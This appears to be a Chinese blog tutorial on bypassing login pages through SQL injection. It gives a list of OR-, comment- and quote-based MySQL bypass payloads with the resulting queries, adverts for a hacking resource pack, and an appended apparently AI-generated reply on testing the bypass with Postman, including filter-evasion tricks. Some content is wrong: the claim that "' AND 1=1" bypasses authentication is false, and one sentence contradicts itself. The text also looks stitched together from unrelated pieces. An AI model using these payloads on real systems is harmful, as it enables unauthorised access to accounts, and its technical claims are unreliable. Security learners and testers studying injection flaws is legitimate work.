重点:SQL注入漏洞利用技巧:通过OR、AND、引号绕过身份验证,成功登录绕过登录页面

说明

在SQL注入漏洞中,攻击者可以通过特定的SQL语句构造来绕过登录页面的身份验证逻辑。

攻击者可以利用 ORAND 语句、单引号(')和双引号(")等来改变查询逻辑,从而绕过密码验证,成功登录系统。以下是详细的说明:

身份验证绕过

正常语句解释

我们可以使用管理员凭据登录admin / p@ssw0rd

SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';
  • 该页面还显示正在执行的 SQL 查询,以便更好地了解我们如何颠覆查询逻辑。
  • 我们的目标是以管理员用户身份登录,而不使用现有密码。
  • 如我们所见,当前正在执行的 SQL 查询是:
代码:sql
SELECT * FROM logins WHERE username='admin' AND password = 'p@ssw0rd';
  • 该页面接收凭据,然后使用AND运算符选择与给定用户名和密码匹配的记录。
    • 如果MySQL数据库返回匹配的记录,则凭据有效,因此PHP代码会将登录尝试条件评估为true
    • 如果条件评估为true,则返回管理员记录,并且我们的登录得到验证。
    • 让我们看看当我们输入错误的凭据时会发生什么。

  • 正如预期的那样,由于密码错误导致登录失败,从而导致操作false产生结果AND
单引号注入
  • 注意:在某些情况下,我们可能必须使用有效负载的 URL 编码版本。例如,当我们将有效负载直接放在 URL 中时(即 HTTP GET 请求)。
  • 从注入单引号开始:

我们看到抛出的是 SQL 错误,而不是Login Failed消息。页面抛出错误是因为结果查询是:

SELECT * FROM logins WHERE username=''' AND password = 'something';

备注:

  • 我们输入的引号中引号的数量为奇数,从而导致语法错误。一种选择是注释掉查询的其余部分,并将查询的剩余部分作为注入的一部分写入以形成有效的查询。另一种选择是在我们注入的查询中使用偶数个引号,这样最终的查询仍然有效。
  • 我们需要查询始终返回true,无论输入的用户名和密码如何,以绕过身份验证。
    • 为此,我们可以OR在 SQL 注入中滥用运算符。
  • 如前所述,MySQL操作优先级文档指出,AND运算符将在运算符之前进行评估OR
    • 这意味着,如果整个查询中至少有一个TRUE条件以及OR运算符
    • 则整个查询将评估为,TRUE因为如果运算符的操作数之一是,则运算符OR将返回。TRUETRUE
  • 始终返回的条件示例true'1'='1'
    • 但是,为了保持 SQL 查询正常运行并保持偶数个引号
    • 我们将删除最后一个引号并使用 (‘1’=‘1’),而不是使用 (‘1’=‘1’)
    • 因此原始查询中剩余的单引号将代替它。
  • 因此,如果我们注入以下条件并OR在它和原始条件之间有一个运算符,它应该始终返回true
admin' or '1'='1
SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';
and or 语句介绍
  • 这意味着以下内容:
  • 如果用户名是admin
    OR
  • 如果1=1返回true“总是返回true
    AND
  • 如果密码是something

and or 运算符号
  • AND首先将评估运算符,然后返回。
  • false然后,OR将评估运算符,如果任一语句为true,则它将返回true
  • 由于1=1始终返回true,因此此查询将返回true,并且它将授予我们访问权限。

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

修改身份验证

注意:每个有效载荷都适用于特定类型的 SQL 查询,以下我说的的mysql语句载荷:

or 1=1

or 1=1--

or 1=1#

or 1=1/*

admin' --

admin' #

admin'/*

admin' or '1'='1

admin' or '1'='1'--

admin' or '1'='1'#

admin' or '1'='1'/*

admin'or 1=1 or ''='

admin' or 1=1

admin' or 1=1--

使用OR运算符绕过身份认证

让我们尝试将其作为用户名并查看响应。

我们能够以管理员身份成功登录。但是,如果我们不知道有效的用户名怎么办?这次让我们用不同的用户名尝试相同的请求。

由于表中不存在,登录失败notAdmin,并导致整体查询错误。

为了再次成功登录,我们需要进行全面true查询。这可以通过OR在密码字段中注入条件来实现,因此它将始终返回true。让我们尝试something' or '1'='1使用密码。

附加OR条件导致true查询总体而言,因为WHERE子句返回表中的所有内容,并且第一行中的用户已登录。在这种情况下,由于两个条件都将返回true,我们不必提供测试用户名和密码,而可以直接从'注入开始并使用登录' or '1' = '1

这是有效的,因为查询的评估与true用户名或密码无关。


利用SQL注入绕过登录

如果页面没有适当的输入验证,攻击者可以通过SQL注入来操控查询,改变其行为,从而绕过密码验证。

1. 利用 OR 语句

攻击者可以在用户名或密码字段中插入 OR 语句,这样即使密码不正确,也可以使查询返回结果。例如:

  • 在用户名输入框中输入:' OR '1' = '1
  • 在密码输入框中输入:' OR '1' = '1

这样,SQL查询会变成:

SELECT * FROM users WHERE username = '' OR '1' = '1' AND password = '' OR '1' = '1';

由于 OR '1' = '1' 始终为真,查询会返回第一个用户的记录,绕过用户名和密码验证,直接登录。


2. 利用 AND 语句

攻击者还可以使用 AND 来制造一个始终为真的条件,使得查询成功。例如:

  • 在用户名输入框中输入:' AND 1=1
  • 在密码输入框中输入:' AND 1=1

这个SQL查询变成:

SELECT * FROM users WHERE username = '' AND 1=1 AND password = '' AND 1=1;

这里 AND 1=1 始终为真,攻击者可以通过这种方式绕过验证。


3. 使用单引号(')和双引号("

单引号和双引号通常用于定义SQL查询中的字符串常量。如果输入没有适当过滤,攻击者可以使用单引号或双引号来关闭SQL字符串并注入自己的SQL代码。

  • 在用户名或密码输入框中输入:' OR 1=1 --

这将导致查询变成:

SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '';

在这里,-- 是SQL的注释符号,注释掉了查询的其余部分。因此,整个查询的条件就变成了 OR 1=1,始终为真,从而绕过了验证。


4. 使用双引号绕过(在某些数据库中)

一些数据库允许使用双引号来包围字符串,因此攻击者可以通过双引号来构造SQL注入:

  • 在用户名或密码输入框中输入:" OR 1=1 --

这会改变查询为:

SELECT * FROM users WHERE username = "" OR 1=1 --" AND password = "";

同样,由于 OR 1=1 永远为真,攻击者可以绕过身份验证。


总结

SQL注入攻击通常依赖于输入验证不足或缺失,攻击者可以通过使用 ORAND、单引号、双引号等技巧来构造恶意的SQL查询,绕过身份验证。为了防止这类攻击,开发者应采取如下措施:

  • 使用参数化查询(Prepared Statements)或存储过程来避免将用户输入直接拼接到SQL查询中。
  • 对用户输入进行严格验证,过滤非法字符(如单引号、双引号等)。
  • 实现最小权限原则,限制数据库查询的权限。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

<think>好的,我现在需要学习如何通过SQL注入绕过登录验证,特别是使用Postman进行测试。首先,我得了解SQL注入的基本原理。SQL注入通常发生在应用程序未正确过滤用户输入的情况下,攻击者可以通过输入恶意SQL代码来操纵数据库查询。 用户提到想绕过登录验证,这意味着他们可能想利用登录表单中的漏洞,比如用户名或密码字段,来绕过身份验证。常见的绕过方法是在用户名输入中注入永真条件,例如' OR '1'='1,这样查询可能返回有效用户,从而允许未授权访问。 接下来,我需要考虑如何使用Postman进行这种测试。Postman是一个API测试工具,可以用来发送HTTP请求。假设登录请求是通过POST方法提交的,参数可能以表单数据或JSON格式发送。我需要构造一个包含SQL注入代码的请求体,然后发送到登录接口。 但必须注意,这种测试只能在合法授权的环境下进行,未经授权的测试是非法的。用户应该确保他们有权测试目标系统,以免触犯法律。 现在,我需要验证步骤是否正确。首先,确定登录请求的类型(POST/GET),参数名(如username和password)。然后,在Postman中设置请求方法、URL、Headers(如Content-Type),并在Body中填入注入代码。例如,在username字段输入admin' --,这样注释掉后面的密码检查,可能直接以admin身份登录。 同时,要关注服务器的响应,查看是否登录成功,或者是否有错误信息泄露,这有助于进一步优化注入语句。另外,可能需要尝试不同的注入方式,如联合查询或基于时间的盲注,但绕过登录通常使用简单的永真条件即可。 还要考虑目标系统是否使用了预处理语句或ORM,这些措施能有效防止SQL注入。如果存在这些防护,注入可能不会成功。因此,测试前了解目标系统的防护机制也很重要。 最后,用户可能需要了解如何防范此类攻击,比如使用参数化查询、输入验证和过滤,以及最小化数据库权限。这些措施能提升系统的安全性,防止未授权访问。</think>### 通过SQL注入绕过登录验证(使用Postman) #### 1. **原理分析** SQL注入绕过登录的核心是通过构造恶意输入,使SQL查询条件恒成立。例如,登录查询语句可能是: $$ SELECT * FROM users WHERE username='[输入的用户名]' AND password='[输入的密码]' $$ 若在用户名输入 `admin' -- `,查询会变为: $$ SELECT * FROM users WHERE username='admin' -- ' AND password='任意值' $$ `--` 是SQL注释符,后续条件被忽略,若存在用户 `admin`,则绕过密码验证[^3]。 #### 2. **使用Postman测试步骤** **步骤1:确定登录请求参数** - 请求方法:通常是 `POST` - 请求URL:如 `http://example.com/login` - 参数格式:常见为 `x-www-form-urlencoded` 或 `JSON`(需观察请求头 `Content-Type`) **步骤2:构造注入Payload** - **示例1(基础绕过)**: ```json { "username": "admin' -- ", "password": "任意值" } ``` - **示例2(永真条件)**: ```json { "username": "' OR 1=1 -- ", "password": "空" } ``` **步骤3:发送请求并观察响应** - 成功时:返回登录成功标识(如302重定向、Token或用户信息)[^2]。 - 失败时:检查错误信息(如数据库类型、过滤规则),调整Payload。 #### 3. **注意事项** - **合法授权**:仅在拥有测试权限的系统上进行,避免触犯法律。 - **防护措施**: - 使用参数化查询(非字符串拼接)。 - 对输入进行严格过滤(如禁用特殊字符 `'`, `--`)。 - 启用Web应用防火墙(WAF)[^1]。 #### 4. **高级绕过技巧** - **绕过空格过滤**:用`/**/`代替空格,如 `'OR/**/1=1--`。 - **闭合引号**:若语句被引号包裹,需闭合引号,如 `' OR '1'='1' -- `。 - **联合查询**:通过 `UNION SELECT` 直接伪造用户数据(需知表结构)。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值